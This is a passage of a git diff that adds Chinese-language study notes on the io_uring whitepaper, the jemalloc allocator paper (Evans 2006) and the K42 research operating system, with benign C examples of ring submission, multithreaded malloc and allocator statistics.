fd; + __u64 off; // 文件偏移 + __u64 addr; // 缓冲区地址或 iovec 指针 + __u32 len; + /* ... opcode 专用 flags union ... */ + __u64 user_data; // 内核原样抄到 CQE,用于关联请求 +}; +``` + +**CQE**(Completion Queue Event)描述完成结果: + +```c +struct io_uring_cqe { + __u64 user_data; // 从 SQE 原样带回 + __s32 res; // 类似 syscall 返回值:成功=字节数,失败=负 errno + __u32 flags; +}; +``` + +关键约定:**完成顺序 ≠ 提交顺序**。网络乱序、磁盘调度都会让 CQE 乱序到达——必须用 `user_data` 把 SQE 和 CQE 配对,不能假设「第 3 个提交的一定第 3 个完成」。 + +### 3. SQ 环的间接索引 + +CQ 环直接索引 CQE 数组;SQ 环则多一层:**环里存的是 SQE 数组的下标**,不是 SQE 本身。这样应用可以把 SQE 嵌进自己的结构体里,批量提交时不必保证 SQE 在内存中连续——迁移老代码更自然。 + +### 4. 三个 syscall + 三段 mmap + +| 步骤 | 系统调用 / 操作 | 作用 | +|------|-----------------|------| +| 创建实例 | `io_uring_setup(entries, ¶ms)` | 返回 fd;`entries` 必须是 2 的幂,1~4096 | +| 映射共享内存 | `mmap(..., IORING_OFF_SQ_RING/CQ_RING/SQES)` | 应用直接读写环和 SQE 数组 | +| 提交 / 等待 | `io_uring_enter(fd, to_submit, min_complete, flags, ...)` | 一次 syscall 可同时「提交 N 个 SQE」和「等 M 个 CQE」 | +| 高级注册 | `io_uring_register(...)` | 预注册 fd、固定 buffer 等(白皮书 §8,后续内核版本扩展) | + +`IORING_ENTER_GETEVENTS` 标志告诉内核:如果 CQ 里还没有足够的 CQE,就阻塞等待。但应用也可以**只读 CQ tail**——内核写完 CQE 会直接改 tail,不必每次都 enter。 + +### 5. 内存屏障:为什么写 tail 前要「栅栏」 + +CPU 和编译器可能重排写入顺序。如果你先更新了 SQ tail、后写完 SQE 字段,内核可能读到**半张订单卡**。 + +白皮书规定的模式: + +```c +/* 1. 填 SQE 各字段 */ +sqe->opcode = IORING_OP_READV; +sqe->fd = fd; +sqe->user_data = (uintptr_t)ctx; +/* 2. 写 SQ 环 array[index] = sqe_index */ +io_smp_mb(); /* write barrier:SQE 写入对内核可见 */ +sqring->tail = sqring->tail + 1; +io_smp_wmb(); /* 确保 tail 更新最后可见 */ +``` + +读 CQ 时则在读 `cqring->tail` 前加 `read_barrier()`。日常用 **liburing** 库即可,它会按架构选好屏障指令;直接操作 raw ring 才需要自己管。 + +### 6. 高级特性(白皮书后续章节) + +- **IOSQE_IO_DRAIN**:排空 SQ,等前面所有 IO 完成再提交后续 SQE——适合「一堆 write 之后 fsync」。 +- **IOSQE_IO_LINK**:链式 SQE,前一个成功才启动下一个——适合有序写或 read→write 管道。 +- **IORING_OP_TIMEOUT**:在 CQ 上设超时或完成计数触发器。 +- **SQPOLL / IOPOLL**(后续内核版本):内核线程轮询 SQ,或轮询块设备完成——syscall 数可趋近零。 + +## 代码示例 + +### 示例 1:用 liburing 读一个文件(入门) + +大多数应用应通过 [liburing](https://github.com/axboe/liburing) 入门,它封装了 setup、mmap、屏障和 enter: + +```c +#include +#include +#include +#include +#include + +#define QD 8 +#define BSZ 4096 + +int main(int argc, char **argv) { + struct io_uring ring; + char buf[BSZ]; + int fd; + + if (argc < 2) return 1; + fd = open(argv[1], O_RDONLY); + if (fd < 0) return 1; + + io_uring_queue_init(QD, &ring, 0); + + struct io_uring_sqe *sqe = io_uring_get_sqe(&ring); + io_uring_prep_read(sqe, fd, buf, BSZ, 0); + sqe->user_data = 1; + + io_uring_submit(&ring); /* 一次 syscall 提交 */ + + struct io_uring_cqe *cqe; + io_uring_wait_cqe(&ring, &cqe); /* 等完成 */ + if (cqe->res < 0) + fprintf(stderr, "read err: %s\n", strerror(-cqe->res)); + else + write(STDOUT_FILENO, buf, cqe->res); + + io_uring_cqe_seen(&ring, cqe); + close(fd); + io_uring_queue_exit(&ring); + return 0; +} +``` + +对比传统 `read(fd, buf, BSZ)`:这里 **submit 和 wait 可以分开**——submit 后 CPU 可以去干别的,完成后再 `wait_cqe`。批量读文件时,可以在一个 submit 里塞多个 read SQE,syscall 数从「每块一次」降到「每批一次」。 + +### 示例 2:批量提交 + 循环收割 CQE(白皮书思路) + +下面模拟白皮书 §4.2 的流程:先攒一批 SQE,一次 enter,再批量消费 CQE(伪代码风格,展示 ring 语义): + +```c +#include + +#define BATCH 32 + +void read_file_batch(struct io_uring *ring, int fd, char *bufs[BATCH], off_t base) { + /* --- 提交阶段:填满 SQ --- */ + for (int i = 0; i < BATCH; i++) { + struct io_uring_sqe *sqe = io_uring_get_sqe(ring); + io_uring_prep_read(sqe, fd, bufs[i], 4096, base + i * 4096); + sqe->user_data = i; /* 用槽位号关联完成事件 */ + } + int submitted = io_uring_submit(ring); + /* submitted 可能 < BATCH:SQ 环满时需先收割再提交 */ + + /* --- 完成阶段:head != tail 就有 CQE --- */ + int completed = 0; + while (completed < submitted) { + struct io_uring_cqe *cqe; + if (io_uring_peek_cqe(ring, &cqe) != 0) + io_uring_wait_cqe(ring, &cqe); /* CQ 空则 enter 等待 */ + + int slot = (int)cqe->user_data; + if (cqe->res > 0) + process_chunk(slot, bufs[slot], cqe->res); + else + handle_error(slot, cqe->res); + + io_uring_cqe_seen(ring, cqe); + completed++; + } +} +``` + +要点: + +- **CQ 默认是 SQ 的 2 倍大**——允许应用短暂「提交快、收割慢」;若 CQ 溢出会计入 overflow 计数。 +- `io_uring_peek_cqe` 不阻塞,适合事件循环里先扫一遍已有完成再决定是否 wait。 +- 同一 fd 的多个 read **可以并行完成**,顺序由存储栈决定,不是由提交顺序决定。 + +## 与 epoll 的区别(零基础常混) + +| | epoll | io_uring | +|---|-------|----------| +| 角色 | **通知**「fd 可读了」 | **完成**「读操作做完了,数据在这」 | +| 谁做 IO | 应用收到通知后自己 `read` | 内核按 SQE 直接执行 read/write | +| syscall | `epoll_wait` + N 次 `read` | 批量 submit + 批量 reap,可合并 | +| 类比 | 餐厅喊「你的菜好了请自己来端」 | 传菜带直接把菜送到你桌上 | + +很多高性能服务器以前用 epoll + 非阻塞 IO;io_uring 把「等就绪 + 做 IO + 拿结果」整条链收进共享环里,尤其在 **高 IOPS 磁盘** 和 **multishot 网络**(一次 SQE 持续产出多个 CQE)场景优势更大。 + +## 适用 vs 不适用 + +**适合**: + +- 数据库 / KV / 日志等磁盘密集型服务(PostgreSQL 17+、ScyllaDB、RocksDB 生态) +- 自研 thread-per-core 或 runtime(Tokio、monoio)控制调度 +- Linux 5.10+ 且你能接受较新的内核依赖 + +**不太适合**: + +- 多租户 / 高安全场景——io_uring 暴露的内核攻击面曾引发 Google 在 Android/ChromeOS 上默认禁用 +- CPU 已是瓶颈、IO 很少的小工具——复杂度不值 +- 必须跑老内核(RHEL 7/8 早期)——要么没有 io_uring,要么 op 支持残缺 + +## 历史脉络 + +- **2003**:Linux native aio(libaio)进内核,但 O_DIRECT 限制埋下祸根。 +- **2010**:Axboe 等人尝试扩展 libaio 支持 buffered IO,未成功。 +- **2018 末**:Axboe 放弃修补 libaio,开始 io_uring 原型(当时叫 scqring)。 +- **2019-01**:发表白皮书 *Efficient IO with io_uring*(本文来源 PDF)。 +- **2019-05**:Linux 5.1 合入主线(commit `2b188cc`)。 +- **2020–2025**:持续演进——buffered read/write、SQPOLL、multishot accept/recv、零拷贝 send、io_uring 上的 `openat`/`statx` 等,接口从「块 IO 加速器」长成「通用异步 syscall 管道」。 + +## 学到什么 + +1. **共享内存 + 无锁环** 可以替代大量 syscall——这是 io_uring、eBPF ring buffer、DPDK 的共同方向。 +2. **批量摊销** 永远有效:N 次 IO 合并成 1 次 `io_uring_enter`,是白皮书强调的首要效率来源。 +3. **完成语义 ≠ 就绪语义**:从 epoll 思维切到 io_uring,要想「操作已完成」而不是「现在可以调 read 了」。 +4. **新接口也要看版本**:白皮书描述的是 2019 基础 API;具体 op 列表和性能特性以当前内核 man page 为准。 + +## 延伸阅读 + +- 白皮书原文:[Efficient IO with io_uring (PDF)](https://kernel.dk/io_uring.pdf) +- LWN 导读:[Ringing in a new asynchronous I/O API](https://lwn.net/Articles/776703/) +- 用户态库:[axboe/liburing](https://github.com/axboe/liburing) 与 `examples/` 目录 +- man page:[io_uring(7)](https://man7.org/linux/man-pages/man7/io_uring.7.html)、[io_uring_setup(2)](https://man7.org/linux/man-pages/man2/io_uring_setup.2.html) +- 视频:[Kernel Recipes 2019 — Faster IO through io_uring](https://www.youtube.com/watch?v=-5T4Cjw46ys) + +## 关联 + +- [[io-uring]] —— 本仓库另一篇 io_uring 实践向笔记(multishot、SQPOLL 性能数字) +- [[ebpf]] —— 同样是用户态/内核共享数据结构,但安全模型不同 +- [[nvme-protocol-2017]] —— 把磁盘延迟压到 10µs 级,放大旧 aio 的 syscall 瓶颈 +- [[postgresql]] —— PG 17 起在 Linux 上推荐 io_uring 作为异步 IO 后端 +- [[quic]] —— 用户态网络栈与 io_uring 网络 op 的演进方向 +- [[flexsc-2010]] —— 更早的「syscall 异步化」思路,io_uring 是 Linux 主线上的落地 + +## 反向链接 + + diff --git a/src/content/docs/papers/jemalloc-evans-2006.md b/src/content/docs/papers/jemalloc-evans-2006.md new file mode 100644 index 000000000..5afc880be --- /dev/null +++ b/src/content/docs/papers/jemalloc-evans-2006.md @@ -0,0 +1,251 @@ +--- +title: jemalloc(Evans 2006)— 多 arena 让多线程 malloc 不再抢同一把锁 +来源: https://people.freebsd.org/~jasone/jemalloc/bsdcan2006/jemalloc.pdf +日期: 2026-06-13 +子分类: 内核与虚拟化 +分类: 操作系统 +provenance: pipeline-v3 +--- + +## 是什么 + +jemalloc 是 Jason Evans 在 2006 年 BSDCan 上发表的 **FreeBSD libc `malloc(3)` 实现**,用来替换当时单线程时代设计、在多核 SMP 上已成瓶颈的 phkmalloc(Poul-Henning Kamp, 1998)。 + +日常类比:公司前台只有一个「杂物抽屉」,所有人领订书钉、便签、文件夹都挤在同一格子里翻找——**抽屉把手就是锁**。phkmalloc 就是这样:算法本身优秀,但多线程同时 `malloc`/`free` 时,大家抢同一把锁,CPU 核越多越堵。 + +jemalloc 的做法是: + +- **摆很多个抽屉柜**(arena),新人入职按顺序分到不同柜子(round-robin),减少撞车; +- **每种规格单独一格**(size class),要 100 字节就发 128 字节的槽,不再现场锯木头; +- **每个线程手边再放一个小收纳盒**(后来的 tcache,论文原版主要靠 arena 分片),常用尺寸随手拿,不必每次都开柜门。 + +你写的 `malloc(48)` 在内部会被**向上取整**到最近的 size class(默认 48 B 正好一档),从当前 arena 里对应 run 的 region 位图里找第一个空槽——多数路径只碰本线程绑定的 arena,锁竞争大幅下降。 + +## 为什么重要 + +不理解这篇论文,下面这些事很难讲清楚: + +- 为什么 FreeBSD 7 之后默认 malloc 能扛多线程,而 2005 年社区邮件里 jemalloc 在 5 线程 micro-benchmark 上比 phkmalloc 快 **15×(sparc64)到 80×(amd64)** +- 为什么 Firefox、Redis、Rust(早期)纷纷把 jemalloc 链进进程——**不是玄学调优,是 arena + size class 这套结构** +- 为什么今天谈 tcmalloc、mimalloc 时总说「jemalloc 系」——**多 arena、固定档位、run/region 分层**是工业界共识起点 +- 为什么 `malloc` 慢时 profiler 里经常是锁等待,而不是你的业务逻辑 + +论文摘要里的结论很直白:**多线程分配随 CPU 数扩展良好,单线程性能与 phkmalloc 相当**。它把「分配器」从 bookkeeping 问题升级成「多核缓存一致性 + 锁竞争」问题。 + +## 核心概念 + +### 1. 碎片:内部 vs 外部 + +- **内部碎片**:你要 100 B,分配器给你 128 B 档,多出的 28 B 浪费在对象两侧——size class 的代价。 +- **外部碎片**:堆上明明有空洞,但凑不出连续大块——buddy 合并规则、run 生命周期管理要对付这个。 + +phkmalloc 极度压缩工作集页;jemalloc 时代 RAM 便宜,**CPU cache 行争用**更致命。论文明确:先尽量省总内存,再在不妨碍的前提下让**时间上相邻的分配在地址上相邻**,改善 cache locality。 + +### 2. False sharing(伪共享) + +两个线程各改自己的对象,若两个对象落在**同一 cache line**(通常 64 B),硬件会让两颗 CPU 反复抢夺该行所有权——比锁还隐蔽。 + +jemalloc **不靠给每个对象 padding**(那会炸内部碎片),而是靠 **多 arena 把不同线程的元数据/对象分散**;性能关键路径上若「一线程分配、多线程写」,仍建议应用层自己按 cache line 对齐。 + +### 3. Arena:分片降低锁竞争 + +Larson & Krishnan (1998) 试过「每个 free list 一把锁」——锁争用低了,但 **cache sloshing**(分配器元数据在核间来回弹跳)仍让扩展性崩掉。他们的解法是 **多 arena + 按线程 hash 绑定**。 + +jemalloc 的改进: + +| 配置 | arena 数量 | +|------|-----------| +| 单核 | 1(抢占才可能争用) | +| 多核 | **4 × CPU 数**(默认) | + +线程**第一次** `malloc`/`free` 时 **round-robin** 绑定 arena(存在 TLS),比 hash 线程 ID 更均匀。论文在 4 核 Opteron 上默认 **16 个 arena**——`malloc-test` 在 ≤16 线程时几乎线性扩展,第 17 个线程才开始撞 arena。 + +### 4. Chunk:与内核打交道的基本单位 + +从 `sbrk`/`mmap` 拿来的内存按 **chunk** 对齐切块,默认 **2 MB**。chunk 起始地址永远是 chunk 大小的整数倍,于是给定任意指针,**O(1)** 算它属于哪个 chunk。 + +chunk 内部再交给某个 arena 切成 page run;**huge** 分配(> 半 chunk)直接独占连续 chunk,元数据放在全局红黑树(数量少,不是扩展瓶颈)。 + +### 5. Size class 三档 + 小对象三子档 + +请求先**向上取整**到最近档位: + +| 类别 | 范围(默认 4 KB 页) | 说明 | +|------|----------------------|------| +| Small / Tiny | 2–8 B | 2 的幂对齐即可 | +| Small / Quantum-spaced | 16–512 B | 按 **quantum**(通常 16 B)递增:16, 32, 48… | +| Small / Sub-page | 1–2 KB | 整页内切 region | +| Large | 4 KB–1 MB | 整 run 服务单次大块 | +| Huge | ≥ 2 MB | 直接 chunk 映射 | + +**Quantum-spaced** 是论文里的关键取舍:若只用 2 的幂档位,`malloc(48)` 会落到 64 B,内部碎片大;48 B 单独一档,**小对象平均内部碎片显著下降**,代价是档位变多、外部碎片可能略升——实测通常净赚。 + +### 6. Run + Region bitmap + +Small 对象在一个 **run**(连续若干页)里只服务**一个** size class。run 头部有 **region bitmap**: + +- 快速扫描第一个空闲 region(紧凑填充); +- **元数据与对象数据分离**——应用踩坏对象不易腐蚀分配器链表; +- tiny 档位也能支持(若在 free object 里嵌 free list 会更难做 2 B 档)。 + +每个 size class 同时有多个 run,但任一时刻只有一个 **current run**。run 按使用率分桶(QINIT → Q0 → Q25 → Q50 → Q75 → Q100),**QINIT 的 run 不会被销毁**——避免一次 `malloc`/`free` 就创建/拆掉 run 的抖动;只有空到 Q0 才删除。 + +选新 current run 的优先级:**Q50 > Q25 > Q0 > Q75**(Q75 几乎满了,当 current 会导致频繁换 run)。 + +### 7. 运行时配置(继承 phkmalloc) + +通过 `/etc/malloc.conf` 符号链接、`MALLOC_OPTIONS` 环境变量或 `malloc_options` 全局变量调参——**低开销、非侵入**。调试选项与性能参数都走这条路;统计默认编译关闭(论文坦承:连 per-arena 分配计数都会 measurable 变慢)。 + +## 代码示例 + +### 示例 1:最普通的 C 程序里发生了什么 + +```c +#include +#include +#include +#include + +#define N_THREADS 8 +#define ITERS 100000 + +static void *worker(void *arg) { + (void)arg; + for (int i = 0; i < ITERS; i++) { + /* 请求 100 字节 → jemalloc 向上取整到 128 B (quantum-spaced 档) */ + char *buf = malloc(100); + if (!buf) return NULL; + memset(buf, i & 0xff, 100); /* 触摸数据页,模拟真实使用 */ + free(buf); + } + return NULL; +} + +int main(void) { + pthread_t tid[N_THREADS]; + for (int i = 0; i < N_THREADS; i++) + pthread_create(&tid[i], NULL, worker, NULL); + for (int i = 0; i < N_THREADS; i++) + pthread_join(tid[i], NULL); + printf("done\n"); + return 0; +} +``` + +**逐行读懂路径**: + +1. 每个线程第一次 `malloc` 时绑定一个 arena(round-robin)。 +2. `100` 不是任意大小,查表得到 **128 B** size class。 +3. 在该 arena 的 128 B run 里扫 bitmap,弹出 region;若 current run 满了,按 Q50→Q25→Q0 顺序换 run。 +4. 多线程各用各 arena 时,**锁只在同一 arena 内争用**;8 线程、16 arena 时碰撞概率低。 +5. 用 phkmalloc 跑同样代码,多线程会挤**全局锁**——这正是 `malloc-test` micro-benchmark 里 phkmalloc/dlmalloc 曲线断崖的原因。 + +FreeBSD/Linux 上对比分配器: + +```bash +# 强制使用 jemalloc(需已安装 libjemalloc) +LD_PRELOAD=/usr/lib/libjemalloc.so.2 ./a.out + +# 打印退出时统计(需 jemalloc 编译时开启 stats) +MALLOC_CONF=stats_print:true LD_PRELOAD=libjemalloc.so.2 ./a.out +``` + +### 示例 2:用 `mallctl` 观察 size class 与 arena(现代 jemalloc API) + +论文里的统计输出(Figure 10 风格)在现代 jemalloc 里仍可通过 `mallctl` 读取。下面片段展示**如何查询当前线程 arena** 并**打印 bin 统计**——对应论文「bins: bin size nregs … nrequests」表头: + +```c +#define JEMALLOC_NO_DEMANGLE +#include +#include + +int main(void) { + unsigned arena; + size_t sz = sizeof(arena); + + /* 把本线程固定到 arena 3(调优热点线程时用) */ + arena = 3; + mallctl("thread.arena", NULL, NULL, &arena, sizeof(arena)); + + mallctl("thread.arena", &arena, &sz, NULL, 0); + printf("this thread uses arena %u\n", arena); + + /* 分配几种典型尺寸,制造 bin 流量 */ + void *a = malloc(16); /* tiny/quantum 边界 */ + void *b = malloc(48); /* 论文强调的非 2 幂档位 */ + void *c = malloc(512); /* small 上限附近 */ + free(a); + free(b); + free(c); + + /* 进程退出前打印统计(等价于 MALLOC_CONF=stats_print:true) */ + malloc_stats_print(NULL, NULL, NULL); + return 0; +} +``` + +编译:`cc -o probe probe.c -ljemalloc`。输出里每个 **bin** 一行:size、run 大小、请求次数——直接对应论文 cca benchmark 统计里「bin 2 T 8 … nrequests 64656199」那种表格。读表时记住:**nrequests 涨而 curruns 不涨**,说明该档位缓存命中好;**curruns 狂增**,可能有外部碎片或线程全挤同一 arena。 + +## 论文实验在说什么 + +### 多线程 + +1. **malloc-test**(Lever & Boreham, 2000):每线程循环 `malloc(512)`/`free`,共 4000 万次。jemalloc 在 ≤4 线程近线性扩展;phkmalloc/dlmalloc 第二线程起就塌,>10 线程慢到没法测。 +2. **super-smack + MySQL**:真实 DB 客户端负载。jemalloc **中位数与 phkmalloc 接近,但最坏情况稳定**;phkmalloc 在 75→80 客户端时性能断崖,尾部延迟极差。 + +### 单线程 + +五个程序(cca、cfrac、Ghostscript、sh6bench、smlng)——作者承认有**选择偏差**(专门挑 malloc 敏感的)。结论:**时间与峰值内存与 phkmalloc/dlmalloc 同级**。sh6bench 上 jemalloc 更慢是因为 benchmark **分配后不用内存**,jemalloc 每次仍要摸 bitmap,而 dlmalloc 几乎不碰元数据——**合成测试不能代表真实应用**。 + +### 碎片观测 + +作者用 `ktrace` + malloc `U` 选项 + 自写 kdump 绘图工具(Figure 9)看**时间轴上内存占用形状**,而非只看 `max RSS`。这是论文里很「工程师」的一面:标准工具只给定量峰值,布局策略要靠可视化迭代。 + +## 设计取舍(Discussion 精华) + +开发中砍掉的功能说明 **分配器性能对「多出来的计数器、除法、检查」极度敏感**: + +- per-arena 总分配字节计数 → 默认关闭统计; +- 各种 sanity check → 只留 API 必需的最小检查; +- 保留 phkmalloc 式 **运行时配置**,几乎不影响快路径。 + +论文结尾很谦虚:**没有对所有分配模式都最优的分配器**;jemalloc 的目标是 FreeBSD 多核时代够用十年——事实上它服务了 FreeBSD、Firefox、Facebook 基础设施、Redis 等远超十年的生态。 + +## 踩坑清单 + +1. **arena 数 ≠ 越多越好**:默认 `4×CPU` 是为碰撞概率设计的;嵌入式单线程应减 `narenas`。 +2. **size class 边界设计结构体**:`malloc(sizeof(T))` 若从 512 变 520,可能从 512 B 档跳到 544 B 档——**结构体 padding 要对着档位表设计**。 +3. **跨线程传递对象**:在 arena A 分配、在线程 B 频繁 `free`,B 的 arena 与对象所属 run 不一致,锁路径变长;高频 handoff 考虑内存池或 per-thread free list。 +4. **huge 分配**:大于半 chunk 走单独路径,频繁 `malloc(3MB)`/`free` 会 mmap/munmap 抖动——应自己池化或使用 `posix_memalign` + 复用。 +5. **别用 sh6bench 判生死**:论文自己说合成 trace 对碎片和性能的结论都不可靠。 + +## 与后辈分配器的关系 + +| 分配器 | 与 jemalloc 2006 的关系 | +|--------|------------------------| +| tcmalloc (Google) | 同样多 arena + size class + 线程缓存,中央 freelist 思路不同 | +| Hoard | 更早证明 per-processor heap 扩展性;jemalloc 更贴近 libc 集成 | +| mimalloc (Microsoft) | free list sharding,可视为 tcache + arena 的进一步细化 | + +## 学到什么 + +1. **多核 malloc 的第一性原理是分片**——先减少共享写 cache line,再谈 free list 技巧。 +2. **固定 size class 是用少量内部碎片换 O(1) 分配与更低元数据争用**;quantum-spaced 档位是为真实小对象分布量身定做。 +3. **run fullness 滞后(hysteresis)** 是系统设计中「避免抖动」的样板——别在边界条件上创建/销毁昂贵资源。 +4. **测量分配器必须测真实程序**——论文反复强调 Wilson et al. 1995 综述里的教训;微基准只说明上界或病理 case。 +5. **好 libc 组件能穿越二十年**——理解 2006 这篇,等于理解今天服务器进程里仍在跑的 malloc 行为。 + +## 延伸阅读 + +- 论文 PDF:[A Scalable Concurrent malloc(3) Implementation for FreeBSD](https://people.freebsd.org/~jasone/jemalloc/bsdcan2006/jemalloc.pdf) +- FreeBSD 邮件列表:[New malloc ready, take 42](https://lists.freebsd.org/pipermail/freebsd-current/2005-December/059216.html)(2005 年引入前的性能数据) +- Facebook:[Scalable memory allocation using jemalloc](https://engineering.fb.com/2011/01/03/core-infra/scalable-memory-allocation-using-jemalloc/) +- 现代手册:[jemalloc.net](http://jemalloc.net/) +- 对照阅读:[[jemalloc-2006]](本库另一篇偏工程应用的笔记)、[[slab-1994]]、[[immix-mark-region]] + +## 关联 + +- [[jemalloc-2006]] —— 同一主题,侧重 Firefox/Redis 实践与 MALLOC_CONF +- [[slab-1994]] —— 内核里「固定大小对象缓存」的鼻祖,思想与 run/region 同源 +- [[rcu-mckenney-2017]] —— 另一类多核读多写少问题的解法,可与 arena 分片对照 +- [[moesi-cache-coherence-1986]] —— false sharing 的硬件根因 diff --git a/src/content/docs/papers/k42-research-os-2006.md b/src/content/docs/papers/k42-research-os-2006.md new file mode 100644 index 000000000..131ed672a --- /dev/null +++ b/src/content/docs/papers/k42-research-os-2006.md @@ -0,0 +1,227 @@ +--- +title: K42 — 从零造一套能跑 Linux 程序的可扩展研究 OS +来源: https://dl.acm.org/doi/10.1145/1218063.1217949 +日期: 2026-06-13 +子分类: 内核与虚拟化 +分类: 操作系统 +provenance: pipeline-v3 +--- + +## 先想成什么事 + +想象一座**大型连锁超市**要同时服务两种顾客: + +- **普通顾客**(未改动的 Linux 应用)只认熟悉的收银台:POSIX API、glibc、bash、Apache、MySQL——他们不想学新规矩。 +- **超市运营方**(OS 研究者)却想在后台把货架、冷库、收银逻辑**按门店、按时段、按商品品类**拆开重组,而且换一套收银算法时**不用关店打烊**。 + +传统宏内核(经典 Linux)像**总部集权**:全国共用一套全局库存表、一把大锁、一种分页策略。门店从 2 家扩到 200 家时,收银台排队和仓库争用会指数级恶化。 + +**K42**(IBM Research,1996 年启动,EuroSys 2006 系统论文)走的是另一条路:**对象化 + 按请求就地生长 + 集群对象(Clustered Objects)**。内核不是「一个大结构体」,而是一棵按需实例化的对象树;多核上每个 CPU 尽量只碰**本 CPU 上的 Rep(Representative)**,避免全局锁。 + +日常类比再推一步: + +| 场景 | 传统 UNIX 内核 | K42 | +|------|----------------|-----| +| 打开两个文件 | 往往共享全局 page cache、inode 锁 | 每个打开实例有**独立一组对象**,策略可不同 | +| 多线程 Web 服务器缺页 | 多核抢同一个 `struct mm_struct` 相关锁 | Process 的 Clustered Object 按 CPU 复制/分区 | +| 打安全补丁 | 重启或冒险 `insmod` | **Hot swap**:换实现、迁状态、不断服务 | +| 跑现有软件 | 天然兼容 | **Linux API/ABI**,未改二进制也能跑 | + +论文 *K42: Building a Complete Operating System*(Krieger 等,EuroSys 2006,亦刊于 ACM SIGOPS Operating Systems Review Vol. 40 No. 4)不是教你怎么装发行版,而是**十年完整系统研究**的经验总结:动机、核心技术、研究方向,以及「研究 OS 怎样才算真的能用」。 + +## 这篇论文在说什么 + +| 维度 | 内容 | +|------|------| +| 作者 | Orran Krieger, Marc Auslander, Bryan Rosenburg, Robert W. Wisniewski, Jimi Xenidis, Dilma Da Silva, Michal Ostrowski, Jonathan Appavoo, Maria Butrico, Mark Mergen, Amos Waterland, Volkmar Uhlig(IBM T. J. Watson Research Center) | +| 场合 | EuroSys 2006,比利时鲁汶,4 月 18–21 日 | +| DOI | [10.1145/1218063.1217949](https://dl.acm.org/doi/10.1145/1218063.1217949) | +| 许可证 | LGPL 开源 | +| 目标平台 | PowerPC(G5、POWER3/4)、Mambo 全系统模拟器 | +| 兼容层 | **Linux API + ABI**,可运行未修改的 Linux 应用与 glibc | + +1996 年立项时的五条技术预判(论文 §1.1)今天读来很有意思: + +1. Windows 将统治客户端与大部分服务器——**猜错了**,但促使团队认真考虑「怎样让研究 OS 接得上主流生态」。 +2. 多处理器从高端到芯片多核都会爆发——**猜对了**,可扩展性是 K42 的基石。 +3. 维护宏内核成本会越来越高——**部分正确**,全局数据结构与策略纠缠仍是痛点。 +4. 可定制 OS(Exokernel、Spin、Vino 路线)会很重要——**猜对了**,K42 把定制做成基础设施而非个案 hack。 +5. 五年内全部 64 位——**大体正确**,K42 利用 64 位指针塞状态位、减少哈希结构。 + +## 为什么值得零基础读 + +1. **研究 OS 的「完整系统」范本**:不是只写一个新调度器贴进 Linux,而是从内存、文件、线程、跟踪、虚拟化到 Linux 兼容整栈打通——和 Singularity、Barrelfish、seL4 同期对话。 +2. **Clustered Objects 是多核局部性的教科书**:比「加把细粒度锁」更系统——接口统一,实现可在单 Rep、按簇、全分布之间切换。 +3. **Hot swap / dynamic upgrade 是运维思想的先驱**:补丁、自适应算法、按应用特化组件,用**同一套**替换机制,而不是每种场景写一种 `kprobe`。 +4. **Linux 兼容的务实工程**:直接链入 Linux 的 TCP/IP、驱动、部分文件系统代码,又用 trap reflection 保 glibc 不改——研究平台与生产生态之间的折中样本。 +5. **影响面超出论文页数**:贡献回流 Linux(模块卸载、quiescence)、Power 上的 Xen;曾用于 DOE FAST-OS、IBM PERCS;与 Tornado、Exokernel、Hive 等谱系一脉相承。 + +## 核心概念一:可扩展性四件套 + +论文 §3 把「怎样在多核 SMP/NUMA 上不失速」拆成四种互补技术: + +### 1. PPC(Protected Procedure Call) + +像**跨地址空间的函数调用**,但有一条硬规则:**客户端请求总在本地 CPU 上被服务**。客户端线程阻塞,但所属 **dispatcher**(见下)仍可运行其他用户态线程——类似 handoff 调度,避免内核里堆 thousands of kernel threads。 + +### 2. 局部性感知的动态内存分配 + +每个 CPU 有内存池;对象为某次请求创建时,**在受理该请求的 CPU 上分配**,减少 false sharing 和远程 NUMA 访问。 + +### 3. 对象分解(Object decomposition) + +服务 = 动态互联的对象实例集合,**懒构造**。例如:进程 P 把文件 F 的某段映射进地址空间,会生成**专属于 (P, F, mapping)** 的对象链;别的映射走别的对象,缺页处理不会踩全局 inode 锁。 + +### 4. Clustered Objects(集群对象) + +对外是一个对象接口;对内可有一个 **Root**(全局锚点)和多个 **Rep**(可在每 CPU 或每簇一个)。方法调用自动路由到**调用方本地 Rep**——这是 K42 区别于「普通 C++ 内核」的标志机制。 + +## 核心概念二:内存管理对象树 + +每个 K42 进程有一个地址空间,由 **Region** 划分连续虚拟区间;每个 Region 映射到某个「文件」(含匿名计算存储的特殊 file)。 + +| 对象 | 职责 | +|------|------| +| **Process** | 进程对象树根:Region 列表 + 硬件映射信息 | +| **Region** | 虚拟地址连续区间 → 文件内偏移连续区间 | +| **File Representative** | 内核侧文件化身,对接外部文件服务器做 I/O | +| **FCM(File Cache Manager)** | 该文件在内存中的页帧、本地换页策略 | +| **PM(Page Manager)** | 全局页帧分配给各 FCM | +| **HAT / SegmentHAT** | 硬件页表或 PowerPC VSID 等;段可私有或跨地址空间共享 | + +设计意图:**机制与策略可独立替换、组合**。同一 Region 可接「普通文件」或「处理器相关内存」(虚拟地址映射随 CPU 不同而指向不同物理页),只换对象实现,不动全局 VM 子系统。 + +额外约束(论文 §4)还包括:统一 buffer cache、页错误/upcall 不阻塞内核线程、可分页内核、外部文件服务器、fork/COW、NUMA 与大页支持。 + +## 核心概念三:动态定制(Hot swap) + +每个资源实例由**自己的**对象集合管理——两个应用同时打开「文件」类资源,可以挂**不同** FCM 策略。 + +- **Hot swapping**:用新组件替换旧组件,**接口不变**,内部状态迁移,外部引用重连,客户端无感。 +- **Dynamic upgrade**:对系统中某类服务的**所有**对象实例批量热换(例如升级 Process 对象实现时,每个进程一个实例,可懒换)。 + +适用场景论文写得很实在:安全补丁不停机、自适应算法模块化、常见路径特化实现、按需插桩、应用自带优化组件、第三方模块——**一套基础设施覆盖**,而不是每种需求发明一种内核补丁格式。 + +## 核心概念四:Dispatcher 与用户态调度 + +K42 把传统内核线程调度撕开: + +- **内核**调度 **dispatcher**(地址空间 + 调度实体,绑定 QoS/优先级类)。 +- **用户态线程库**在 dispatcher 上调度 **thread**。 +- 一个进程可多个 dispatcher:并行、不同优先级,或不同线程模型。 +- 缺页、PPC 阻塞的是 thread,dispatcher 通过 **upcall** 换跑别的 thread——**创建一万个线程不会比单线程多占内核 pinned 内存**。 + +IPC 主力是 **PPC**(同步,跨进程对象方法调用);另有异步 IPC 和同进程 dispatcher 间 **soft interrupt** 快速信令。参数过大放不进寄存器时,用每 CPU 一块的 **PPC page**(像扩展寄存器,上下文切换时按需保存)。 + +## 代码示例 1:Clustered Object 计数器(论文 §6 思路) + +下面用 C++ 风格伪代码说明:**外部看是一个 Counter,内部按 CPU 